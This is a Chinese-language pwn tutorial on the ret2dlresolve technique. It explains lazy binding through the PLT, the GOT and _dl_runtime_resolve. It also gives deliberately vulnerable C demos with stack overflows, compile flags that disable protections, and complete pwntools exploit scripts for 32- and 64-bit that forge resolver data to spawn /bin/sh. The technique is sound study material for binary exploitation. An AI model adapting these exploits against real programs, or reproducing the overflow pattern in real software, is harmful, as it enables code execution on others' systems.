理论部分
首先最好确认你学习过ELF文件结构相关的内容,当然如果没学过这里也会简单的讲解一些
本文主要讲靠pwntools的Ret2dlresolvePayload工具一把梭所需payload,这比手搓payload轮椅太多了,手搓payload咕到下回了,毕竟国道上的大运只管开就好了,但旁边的小轿车考虑的可就多了
这里来复习一下动态链接和延迟绑定
图片中展示了当我们call一个函数时的大致流程(虽然缺少了部分内容,但是还是很直观的),如果我们首次 call 一个函数,首先是PLT[n]被执行,jmp 到 GOT 表中 对应的条目,但此时该GOT条目里存的还不是该函数的真实地址,而是 该函数 plt表 中下一条指令的地址,然后此时会push reloc_arg,它是在重定位表 .rel.plt 中,用来定位函数相关信息的一个偏移量,接下来跳转到 PLT 的起始部分,通常称为 PLT[0],然后PLT[0] 会先 push 一个 link_map 结构体的地址(通过 GOT[1] 获得),然后 jmp 到 _dl_runtime_resolve 函数(其地址存储在 GOT[2] 中)解析和填充GOT[n]为真实的函数地址,这个过程中我们只需要在可控的内存中伪造_dl_runtime_resolve的参数,也就是link_map 和 reloc_arg
demo
32位 非 Full RELRO
示例demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#include <stdio.h>
#include <unistd.h>
static void vuln(void) {
char buf[64];
puts("Input:");
read(0, buf, 0x200);
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
vuln();
return 0;
}
|
使用以下命令编译
1
|
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,lazy -Wl,-z,norelro demo.c -o demo-32
|
或者使用以下部分RELRO的编译
1
|
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,relro -Wl,-z,lazy demo.c -o demo-32
|
程序很简单,几乎没有逆向的需求,可以直接开始分析,首先在read处有明显的溢出,所以我们可以在溢出的位置提前布置好ROP链
按照之前的内容,我们的第一段payload结构大致应该如下
1
2
3
4
5
6
7
8
|
- read
- clean_gadget
- 0
- bss_addr
- len
- plt0
- ret_addr
- args
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
context.arch = "i386"
context.log_level = "debug"
elf = ELF('./demo-32')
def dbg():
gdb.attach(io)
pause()
io = process('./demo-32')
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
call_read = 0x080491B8
clean = 0x804901B
plt0 = elf.get_section_by_name(".plt").header.sh_addr
io.recvuntil(b'Input:\n')
payload = cyclic(76) + p32(elf.plt['read']) + p32(clean) + p32(0) + p32(dlresolve.data_addr) + p32(len(dlresolve.payload)) + p32(plt0) + p32(dlresolve.reloc_index) + p32(0xdeadbeef) + p32(dlresolve.real_args[0])
io.send(payload)
payload2 = dlresolve.payload
io.send(dlresolve.payload)
io.interactive()
|
64位 非 Full RELRO
示例demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
#include <stdio.h>
#include <unistd.h>
__attribute__((used, naked))
void gadget(void) {
__asm__(
"pop %rdi; ret;"
"pop %rsi; ret;"
"pop %rdx; ret;"
"ret;"
);
}
static void vuln(void) {
char buf[64];
puts("Input:");
read(0, buf, 0x300);
}
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
vuln();
return 0;
}
|
使用以下命令编译
1
|
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -O0 -fcf-protection=none demo64.c -o demo64
|
或者使用以下编译Partial RELRO
1
|
gcc -fno-stack-protector -no-pie -Wl,-z,relro -Wl,-z,lazy -O0 -fcf-protection=none demo64.c -o demo64
|
事实上这一部分相比于32位的变化只有参数的传递,我们需要通过寄存器来传递参数了,因此我们需要先得到用于设置寄存器的gadget,除此之外几乎一样
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
io = process('./demo64')
elf = ELF("./demo64")
pop_rdi = 0x401146
pop_rsi = 0x401148
pop_rdx = 0x40114A
ret = 0x40114B
plt0 = elf.get_section_by_name(".plt").header.sh_addr
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
paylaod = cyclic(0x48) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(dlresolve.data_addr) + p64(pop_rdx) + p64(len(dlresolve.payload)) + p64(elf.plt["read"]) + p64(ret) + p64(pop_rdi) + p64(dlresolve.real_args[0]) + p64(plt0) + p64(dlresolve.reloc_index)
io.recvuntil(b"Input:\n")
io.send(paylaod)
io.send(dlresolve.payload)
io.interactive()
|